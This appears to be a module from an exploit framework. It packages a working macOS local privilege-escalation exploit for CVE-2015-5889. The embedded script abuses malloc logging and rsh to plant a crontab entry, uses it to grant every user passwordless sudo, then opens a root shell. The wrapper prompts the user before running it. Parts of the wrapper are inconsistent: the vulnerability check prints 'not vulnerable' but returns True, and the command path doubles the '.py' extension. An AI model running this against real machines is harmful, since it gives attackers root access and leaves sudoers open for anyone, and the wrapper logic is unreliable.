from exploits.exploit import MacExploit
from src.kernels import KernelWindow
from constants import *

# hacky rebind of input so we can use existing input() code for python2 and python3
try:
	input = raw_input
except NameError:
	pass


class CVE20155889(MacExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		MacExploit.__init__(self)
		self.name = "CVE20155889"
		self.formatted_name = "CVE-2015-5889"
		self.e_type = "mac"
		self.brief_desc = "issetugid() + rsh + libmalloc osx local root"
		self.reliability = MEDIUM_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_MAC, BASE_VULNERABLE, 10, 9, 5, 10, 10, 5)
		self.vulnerable_kernels = [
			KernelWindow(GENERIC_MAC, VERSION_VULNERABLE, 10, 9, 5, 10, 10, 5)
		]
		self.exploit_kernels = [
			KernelWindow(GENERIC_MAC, EXPLOIT_AVAILABLE, 10, 9, 5, 10, 10, 5)
		]
		self.architecture = ARCHITECTURE_GENERIC
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.py".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = self.source_c_path
		self.compilation_command = ""
		self.exploit_command = "python {}.py".format(self.compilation_path)
		self.exploit_source = """
import os, time, sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\\n\\n\\n\\n\\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:
    os.close(1)
    os.close(2)
    os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
    sys.stderr.write("failed\\n")
    sys.exit(-1)

sys.stderr.write("done\\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
    sys.stderr.write(".")
    time.sleep(1)

sys.stderr.write("\\ndone\\n")

os.system("sudo su")
"""


	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears not to be vulnerable to {}".format(self.name), color="red")
		return True


	def exploit_compile(self):
		# we don't need to compile
		pass

	def exploit(self):
		"""
		We need to override base exploit because we're running a python script, not compiling C source
		"""
		perform_exploitation = str(
			input("Would you like to run exploit {} on this system? (y/n): ".format(self.name)))
		if "y" in perform_exploitation.lower():
			color_print("\t[*] performing exploitation of {}".format(self.name))
			color_print("\t[*] {}".format(self.exploit_command))
			try:
				subprocess.call(self.exploit_command)
			except:
				self.exploit_failure("exploitation interrupted")
		else:
			self.exploit_failure("canceled execution of exploit {}".format(self.name))
